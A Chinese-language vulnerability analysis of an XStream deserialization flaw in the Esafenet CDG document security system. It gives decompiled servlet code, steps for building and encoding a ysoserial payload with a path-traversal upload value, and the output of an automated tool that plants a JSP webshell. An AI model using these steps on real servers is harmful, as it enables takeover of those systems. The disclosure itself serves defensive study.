漏洞简介

亿赛通电子文档安全管理系统(简称:CDG)是一款电子文档安全防护软件,该系统利用驱动层透明加密技术,通过对电子文档的加密保护,防止内部员工泄密和外部人员非法窃取企业核心重要数据资产。亿赛通电子文档安全管理系统引用了低版本存在反序列化漏洞的 XStream 库,攻击者可利用该漏洞对服务器上传任意文件,进而控制服务器权限。

影响版本

  • <= 820

漏洞分析

依赖位于WEB-INF/lib/jhiberest.jar文件,反编译后可以很明显的发现存在 XStream 的写法,并且 XStream 的版本用的也是低版本的,1.4.9 版本。

cdg-systemservice

同时,此类在 web.xml 文件中的对应关系如下,由于 CDG 的 Web 根路径是/CDGServer3,那么当请求路径是/CDGServer3/SystemService时,请求将会由如下com.esafenet.servlet.service.cdgfile.SystemService类来处理。

1
2
3
4
5
6
<servlet>
<servlet-name>SystemService</servlet-name>
<servlet-class>
com.esafenet.servlet.service.cdgfile.SystemService
</servlet-class>
</servlet>

也就是上图存在 XStream 的SystemService类,关键代码已贴至下面。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
public class SystemService extends HttpServlet {
private static final Log log = LogFactory.getLog(FilesService.class);
private static String retrunString = "";
private static final long serialVersionUID = -3607772408578536033L;
private XStream xStream = ServiceUtil.getStream();
private UserDao userDao = new UserDao();
private UsbKeyDao usbKeyDao = new UsbKeyDao();
private SecretDocDao secretDocDao = new SecretDocDao();
private SecretUserDao secretUserDao = new SecretUserDao();

public void service(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
try {
String command = request.getParameter("command").toString();
if (command != null && command.length() > 0) {
switch (CommandConstants.getCommandValue(command)) {
case CommandConstants.GETSYSTEMINFO /* 1601 */:
getSystemInfo(request, response);
break;
}
}
} catch (Exception e) {
}
}

private void getSystemInfo(HttpServletRequest request, HttpServletResponse response) {
SystemReturn systemReturn = new SystemReturn();

try {
String xmlStr = ServiceUtil.getXMLFromRequest(request);
SystemServiceRequest systemServiceRequest = (SystemServiceRequest)this.xStream.fromXML(xmlStr);
systemReturn.setReturnMessage("OK");
systemReturn.setSecretKey(DocInfoModel.getCDGKey());

// ...

} catch (Exception e2) {
retrunString = "";
e2.printStackTrace();
log.error("取系统信息" + e2.getMessage());
systemReturn.setReturnMessage(ErrorConstants.SYSTEMSERVICE_ERROR);
ServiceUtil.sendInfo(request, response, this.xStream.toXML(systemReturn));
}
}
}

需要接收一个command参数,该参数值必须为GETSYSTEMINFO才会顺利进入到getSystemInfo方法。

1
2
String xmlStr = ServiceUtil.getXMLFromRequest(request);
SystemServiceRequest systemServiceRequest = (SystemServiceRequest)this.xStream.fromXML(xmlStr);

在触发 XStream 反序列化漏洞之前,request还经过ServiceUtil.getXMLFromRequest方法的一道处理,就是各种解码。

serviceutil-getxmlfromrequest

对于此,倒也没必要通过其解码的操作来逆向编码的操作,因为负责编码的方法就是changeXMLInfo,后面在利用阶段直接调用该方法即可。

1
2
3
4
5
6
7
public static String changeXMLInfo(String str) throws Exception {
byte[] abyte1 = str.getBytes();
int nLength = Array.getLength(abyte1);
CodeDecoder.Encode(abyte1, nLength, abyte0);
String src = new String(abyte1, "ISO8859_1");
return CodeDecoder.getTransferEncrptString(src);
}

漏洞利用

漏洞利用分为两步骤,第一步是构造出恶意的 XStream 反序列化 XML Payload,第二步是将 XML 内容编码成亿赛通电子文档安全管理系统能够接受的字符串。

恶意 XML 构造

通过修改ysoserial-for-woodpecker开源项目。在 CommonsBeanutils2.java 中做如下修改,接受的参数值为upload_file_base64:..//webapps//CDGServer3//testttttt.txt|YWJjMTIz,其中|前面的部分是上传至目标服务器的路径,而|后面的部分是上传的内容的 base64 值,YWJjMTIz base64 解码后是 abc123。

ysoserial-for-woodpecker-cb2

在 PayloadRunner.java 中添加如下行。

ysoserial-for-woodpecker-payloadrunner

然后回到CommonsBeanutils2.main()点击 Run,就会将恶意的 XML 内容生成并打印出来。

cb2-run

编码

直接利用该 jhiberest.jar 包中的changeXMLInfo编码方法,同时注意还需导入其他的一些依赖包。

encode-1

encode-2

最终生成一串编码后的字符串。

概念验证

将上面生成的一段编码后的字符串复制至 BurpSuite 点击 Send。

burp-1

然后请求/CDGServer3/testttttt.txt路径,可以发现文件已成功上传。

burp-2

自动化工具

项目地址:

本地文件上传利用。

1
2
3
4
5
6
7
8
9
~/GitHub/CDGXStreamDeserRCE  ‹main*› $ cat tessssssssssssst1.jsp
<%
out.println("e165421110ba030e165421110ba03099a1c0393373c5b4399a1c0393373c5b43");
%>
~/GitHub/CDGXStreamDeserRCE ‹main*› $ java -jar CDGXStreamDeserRCE.jar -p http://127.0.0.1:8080 -uf tessssssssssssst1.jsp -t https://192.168.31.190:8443
[+] Exploit Successed
[+] WebShell: https://192.168.31.190:8443/CDGServer3/tessssssssssssst1.jsp
~/GitHub/CDGXStreamDeserRCE ‹main*› $ curl -k https://192.168.31.190:8443/CDGServer3/tessssssssssssst1.jsp
e165421110ba030e165421110ba03099a1c0393373c5b4399a1c0393373c5b43

字符串解码。

1
java -jar CDGXStreamDeserRCE.jar -d FEPCCCLCENHIPOAFPAPDDFCGEAPNMDBMOJPMJAKKNPHOKIKIDCBPHEGKLDGNHCBDEIMODEKMKPFBAIMMNLOJJKMIICLAPJAAFGNGAKFBMPKPJMOIKODEJJMHJCCHKBMFMMFDLOMDPABOJCEAPOFDCPMKGDHFNBBIMCIPAMMIIANFPAJHFAABLLLANNIDAGNKOHONJGFGBKHFDMCLJIMICBHBJEIAAIMACN

decode

References